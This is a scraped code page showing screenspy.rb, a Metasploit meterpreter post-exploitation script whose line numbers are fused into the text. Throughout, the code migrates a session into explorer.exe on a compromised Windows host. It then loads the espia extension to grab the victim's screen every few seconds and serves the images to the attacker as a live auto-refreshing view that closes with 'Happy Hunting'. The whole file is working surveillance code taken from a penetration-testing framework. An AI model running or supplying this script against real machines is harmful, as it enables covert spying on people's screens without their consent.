Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/scripts/meterpreter/screenspy.rb
Views: 11766
##1# WARNING: Metasploit no longer maintains or accepts meterpreter scripts.2# If you'd like to improve this script, please try to port it as a post3# module instead. Thank you.4##5678# Author:Roni Bachar (@roni_bachar) [email protected]9#10# This script will open an interactive view of remote hosts11# You will need firefox installed on your machine121314require 'fileutils'1516opts = Rex::Parser::Arguments.new(17"-h" => [ false, "Help menu." ],18"-d" => [ true, "The Delay in seconds between each screenshot." ],19"-t" => [ true, "The time to run in sec." ],20"-s" => [ true, "The local system linux/windows" ]21)2223freq = 324count = 1025file = "screenshot.jpeg"26meter_type = client.platform27localsys = "linux"2829opts.parse(args) { |opt, idx, val|30case opt31when '-d'32freq = val.to_i33when '-t'34count = val.to_i35when '-s'36localsys = val.to_s3738when "-h"39print_line40print_line "Screenspy v1.0"41print_line "--------------"42print_line43print_line44print_line "Usage: bgrun screenspy -t 20 -d 1 => will take interactive Screenshot every sec for 20 sec long."45print_line "Usage: bgrun screenspy -t 60 -d 5 => will take interactive Screenshot every 5 sec for 1 min long."46print_line "Usage: bgrun screenspy -s windows -d 1 -t 60 => will take interactive Screenshot every 1 sec for 1 min long, windows local mode."47print_line48print_line "Author:Roni Bachar (@roni_bachar) [email protected]"49print_line(opts.usage)50raise Rex::Script::Completed51end52}5354# Wrong Meterpreter Version Message Function55#-------------------------------------------------------------------------------56def wrong_meter_version(meter = meter_type)57print_error("#{meter} version of Meterpreter is not supported with this Script!")58raise Rex::Script::Completed59end6061# Check for Version of Meterpreter62wrong_meter_version(meter_type) if meter_type != 'windows'63session = client64656667host,port = session.session_host, session.session_port6869print_status("New session on #{host}:#{port}...")7071logs = ::File.join(Msf::Config.install_root, 'logs', 'screenshot', host)7273outfile = ::File.join(Msf::Config.log_directory,file)7475::FileUtils.mkdir_p(logs)767778begin79process2mig = "explorer.exe"8081# Actual migration82mypid = session.sys.process.getpid83session.sys.process.get_processes().each do |x|84if (process2mig.index(x['name'].downcase) and x['pid'] != mypid)85print_status("#{process2mig} Process found, migrating into #{x['pid']}")86session.core.migrate(x['pid'].to_i)87print_status("Migration Successful!!")88end89end90rescue91print_status("Failed to migrate process!")92#next93end949596begin97session.core.use("espia")9899100begin101102data="<title>#{host}</title><img src='file:///#{Msf::Config.install_root}/logs/screenshot/#{host}/screenshot.jpeg' width='500' height='500'><meta http-equiv='refresh' content='1'>"103path1 = File.join(logs,"video.html")104File.open(path1, 'w') do |f2|105f2.puts(data)106end107108109if (localsys == "windows")110111print_status("Running in local mode => windows")112print_status("Opening Interactive view...")113localcmd="start firefox -width 530 -height 660 \"file:///#{Msf::Config.install_root}/logs/screenshot/#{host}/video.html\""114else115print_status("Running in local mode => Linux")116print_status("Opening Interactive view...")117localcmd="bash firefox -width 530 -height 660 \"file:///#{Msf::Config.install_root}/logs/screenshot/#{host}/video.html\""118end119120system (localcmd)121(1..count).each do |i|122sleep(freq) if(i != 1)123path = File.join(logs,"screenshot.jpeg")124data = session.espia.espia_image_get_dev_screen125126if(data)127::File.open(path, 'wb') do |fd|128fd.write(data)129fd.close()130end131end132end133134rescue ::Exception => e135print_status("Interactive Screenshot Failed: #{e.class} #{e} #{e.backtrace}")136end137138print_status("The interactive Session ended...")139data = <<-EOS140<title>#{host} - Interactive Session ended</title>141<img src='file:///#{Msf::Config.install_root}/logs/screenshot/#{host}/screenshot.jpeg' width='500' height='500'>142<script>alert('Interactive Session ended - Happy Hunting')</script>143EOS144File.open(path1, 'w') do |f2|145f2.puts(data)146end147148rescue ::Exception => e149print_status("Exception: #{e.class} #{e} #{e.backtrace}")150end151152153154155156157158159160